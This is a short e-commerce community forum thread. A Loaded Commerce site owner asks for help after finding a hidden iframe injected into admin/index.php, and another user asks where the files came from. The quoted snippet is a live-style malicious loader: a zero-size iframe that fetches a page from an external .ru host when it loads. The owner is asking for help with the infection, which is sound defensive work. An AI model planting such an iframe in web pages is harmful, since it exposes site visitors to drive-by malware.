Loaded Commerce Community

Hello all,
I was getting virus definition when visited my main site and admin area. Investigation i saw extra code in admin/index.php

[code]<iframe frameborder="0" onload="if (!this.src){ this.src='http://one-another-life.ru:8080/index.php'; this.height='0'; this.width='0';}" >saduvucbosbtqtfscjcihqilhvgslhd</iframe>[/code]

what is this and how someone can add this to my hosting.
thanks

are you sure that you downloaded files from creloaded website?

No, the files are old and they were fine till few days back. I think some one hacked and put this code in site. Is there any known issue that can allow a visitor to be able to put such things in code.